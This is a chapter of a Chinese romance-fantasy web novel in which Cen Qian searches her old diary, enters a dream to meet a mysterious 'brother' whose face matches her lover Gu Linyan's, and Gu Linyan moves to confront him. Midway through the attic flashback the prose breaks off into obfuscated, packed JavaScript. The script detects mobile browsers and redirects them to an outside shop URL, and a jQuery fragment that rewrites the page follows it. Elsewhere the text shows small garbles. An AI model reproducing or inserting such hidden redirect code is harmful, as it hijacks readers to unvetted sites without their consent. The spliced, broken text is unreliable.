岑浅最终还是没有把方屿的事情说出口。
方屿的话当然不可信,但顾临砚的反应显然也另有隐情。
还有梦里的那个“哥哥”......
在自己调查清楚之前,她暂时不想让顾临砚知道这件事。
.
顾临砚把她送回别墅时,,行李被放在客厅一侧,蓝雪花也被岑浅重新插进了玻璃瓶里。
他没有久留,只在玄关处替她把行李箱推进来。
“今晚我就在隔壁。”
岑浅点点头:“嗯。”
顾临砚垂眼看她,像是随口叮嘱了一句:“最近没有再做奇怪的梦吧?”
岑浅动作一顿,似乎觉得别墅内部的冷风吹过了自己的脊背。
“怎么突然问这个?”她故作疑惑。
“方屿以前变成我的样子接近过你。”顾临砚一眨不眨地看着岑浅,声音比往常更加柔和,“我不确定他有没有留下别的影响。”
如果不是方才方屿对自己说了一番那样的话,岑浅一定会感动于他无微不至的关心。
但是.....
岑浅轻轻咳了一声,说了句真假参半的话:“我会注意的,不过最近可能太累了,睡起觉来都昏昏沉沉的,也不记得发生过什么。”
就在她以为顾临砚要离开的时候,他忽然上前一步,将自己揽进了怀里。
岑浅吓得一抖,却忽然感受到两耳穿来了一阵温热。
顾临砚捂住了她的耳朵,俯下身来望着她的眼睛。
于此同时,岑浅也看到了他的眼睛。
碧绿的,深邃的,在昏暗的灯光下闪烁着如同玛瑙般的光泽。
她第一次见顾临砚的时候,注意到的就是这双眼睛。
他让她想起了夏天。
略显嘈杂的风声被他隔绝在外,岑浅的脑内平静无比,只听到了自己砰砰的心跳声。
那一瞬间她十分想将所有疑问和遭遇全盘托出,将一切都交给顾临砚来处理。
一个人为了自己的能力,有必要设计出这么多挫折,对自己倾注这么多感情吗?
岑浅觉得没有必要。
她为自己轻而易举就出现的怀疑和恐惧感到愧疚。
但顾临砚却没有给她这个机会。
他低声道:“现在的我不是你的上司,只是恋人,还有必要这么紧张吗?”
“啊,可能暂时还有点下意识地反应.....”
“这段时间没有照顾好你是我的错,好好休息几天吧,晚安。”他亲昵地弹了弹岑浅的额头。
说罢,他便站在原地,温和地注视着岑浅关上了房门。
.......
岑浅沉默着靠在玄关处站了好一会儿。
必须在顾临砚察觉到这件事,在他可能被自己伤害之前,做出决断。
思及此处,她飞速地上楼,将自己的电脑抽了出来,飞速打开平时存放日志的软件。
几乎没有人知道她有这么个写日志的习惯。
不仅如此,岑浅做记录的所有软件都配套了相应的备份措施,就算有人处理过她的电脑,她也可以恢复数据。
这点对于“被删除痕迹”的警觉不知来自过往的哪个事件,但一直以来,岑浅都不厌其烦地进行着这样的操作。
她抑制着心跳,小心翼翼地打开了软件,在搜索栏一字一顿,敲下了某些关键词。
.....
夜已经深了。
隔壁的别墅已经熄灯,洁白的屋顶在路灯的照射下显得纯洁而柔和。
岑浅坐在桌前,久久地凝视着屏幕,仿佛一尊被风化的雕像。
【神奇,莫名其妙被带去了造梦局,找了份新工作。这是什么隐秘组织吗?希望不要影响到爸妈。】
【怎么又做春梦啊?!他还和顾临砚长得一模一样,我内心戏有这么多吗?】
【他们好像不一样。这个人怎么会对我的性格和爱好这么熟悉?我以前忘掉过什么经历吗?】
【谈恋爱了,嘻嘻,我一个母单选手也是吃上好的了。】
最后的最后,是被删除记忆的前的那个晚上。
【他说他回来找我......其实就算不来,我也会记得这段时间以来的感受。也许在某个平行世界,真的也存在某个我的同位体,有一个这么好的哥哥吧。】
【喜欢他。】
一模一样的语调和逻辑,这绝对是她自己记录的文字。
虽然具体过程已经记不清晰,但当初欣喜的感受似乎仍在心底。
岑浅闭上了双眼,似乎感觉到有某些碎片从记忆的深处一点点破土而出。
当初顾临砚说的处理,是指删去了自己的记忆,还是同时也将那个人给处理了?
岑浅思索了片刻,在手机上设置好了闹钟和定时发送的短信。
她还是决定冒险去梦里看一眼,如果出了什么意外,自己的短信也会同步发送到顾临砚那里。
.
再睁开眼时,岑浅站在那栋熟悉的别墅里。
阳光从落地窗外照进来,客厅里安静得不像话。
岑浅看着那些东西,胸口忽然发闷。
她明明不记得这里,可身体却比记忆更快地认出了它。
这是她曾经在梦里待过的地方,也是那个“哥哥”存在过的地方。
她抬眼望去,看到有个人坐在客厅的沙发里,眼下还留着青黑,看起来比平时更为憔悴,始终凝望着自己所在的方向。
看着岑浅出现,他也没有丝毫的惊讶,反倒是勾勒出了一个有些疲惫的笑容。
“浅浅。”
这一声像钥匙一样,轻轻拧开了岑浅心底某个封存已久的地方。
她站在原地,一时没有说话。
那人走近,抬手想碰她的脸。
而岑浅下意识后退半步,让他的手停在半空。
“你还是怕我?”
岑浅盯着他:“你是谁?”
他笑了笑:“既然不记得我,又为什么要来这个梦境呢?”
岑浅心口一跳:“你早知道我会来?”
“我只是一直在这里等你。”他声音很轻,“整整一周,浅浅,你终于找到我了。”
岑浅一时没有回答。
她仍然没有想起来相关记忆,可在看到面前之人露出这样的笑容的时候,她却莫名觉得难过。
像是自己曾经亲手丢下过什么很重要的东西。
而他伸手,轻轻点了点岑浅的眉心。
岑浅下意识想躲,可下一秒,无数画面已然涌进脑海。
.
夏天的阁楼。
她被人抵在衣柜旁,楼下是母亲喊她名字的声音。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610921|204112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面前的人耳尖通红,吻得生涩,却抱得很紧。
.
海边的私人酒店。
落地窗外潮水一层层涌上沙滩,她趴在窗边笑他幼稚,下一秒便被人抱起,压进柔软的床里。
.
还有更久以前。
她在这个平行世界里上学,工作,回家。
他会在饭桌下勾住她的手指,会在无人的楼梯间吻她,会在她因为现实里的病重父亲哭醒时,坐在床边给她擦眼泪。
那些年的时光像被压缩成了小小的一点,又在这一刻全然绽开。
岑浅眼眶骤然发热,她按住了自己的太阳穴,努力消化着这一切。
她分不清这是自己的记忆,还是梦境强行塞回来的东西。。可其中蕴藏的感情实在太过真实,叫她几乎站立不稳。
“浅浅。”
面前的人接住她。
他把她抱进怀里,手掌轻轻抚过她的后背。
可是,可是你到底是谁?你从来不告诉我任何有关你的消息,就连这张脸,都和现实中的顾临砚长得一模一样,为什么你从来都不解释相关内容呢?
岑浅想要发问,却无力地抵在了他的肩上。
“你只是太累了。”他低声道,“睡一会儿,醒来就好了。”
岑浅眼皮越来越沉。
她低声道:“我如果不及时醒来,马上现实中的朋友就会有所察觉,你......”
话音未落,她变失去了意识。
而在岑浅闭上眼睛的那一刹那,那位“哥哥”的笑容便愈绽愈大,直至泛起了冷冷的森寒。
他将岑浅抱到了床上,又将她搂进怀里。
指尖从眉心开始,一点点向下滑去,最后停在了那双润着水色的唇。
.
顾临砚停在了岑浅的房门外。
他早在第一次方屿出逃的时候,就感到了某种不对劲。
以他的能力,独自一人,做不到从督察局那个地方逃出去。
而且一直以来,潜入岑浅梦境中的那个人始终毫无踪迹。
他不相信有人的能力可以强到这种程度,除非......问题出在了自己身上。
而岑浅今天的态度也印证了自己的猜想。
她仍然有些事情瞒着自己,不是出于歹意,而是某些难以启齿的理由。
他的眸色冷了些,在瞬息间实现了时空的转换,站在了岑浅所在的那栋别墅前。
第一次来这里的时候,他并没有发觉,这片地域就是自己儿时一直居住的地方。
岑浅出现在这里,不是巧合。
他一步步走上熟悉的楼梯。
可就在即将打开房门的那一刻,他的手悬在了原地。
如果......岑浅真的和“他”在一起,看叫喊。到自己又突然出现,会觉得更加惊恐,从而对梦世界产生抵触吗?
他好像犹豫了很久,又好像只是产生了一瞬间这种念头。
紧接着,房门内部传来了一声喘息。
带着微微的颤抖,和一点渴望。
这是那个人故意让自己听到的。
可明知是这样,顾临砚的手臂却依然暴起了青筋。
身边的灰雾再度躁动起来,在自己伸出手之前,笼罩了整个别墅。
他不再犹豫,猛然打开了房门。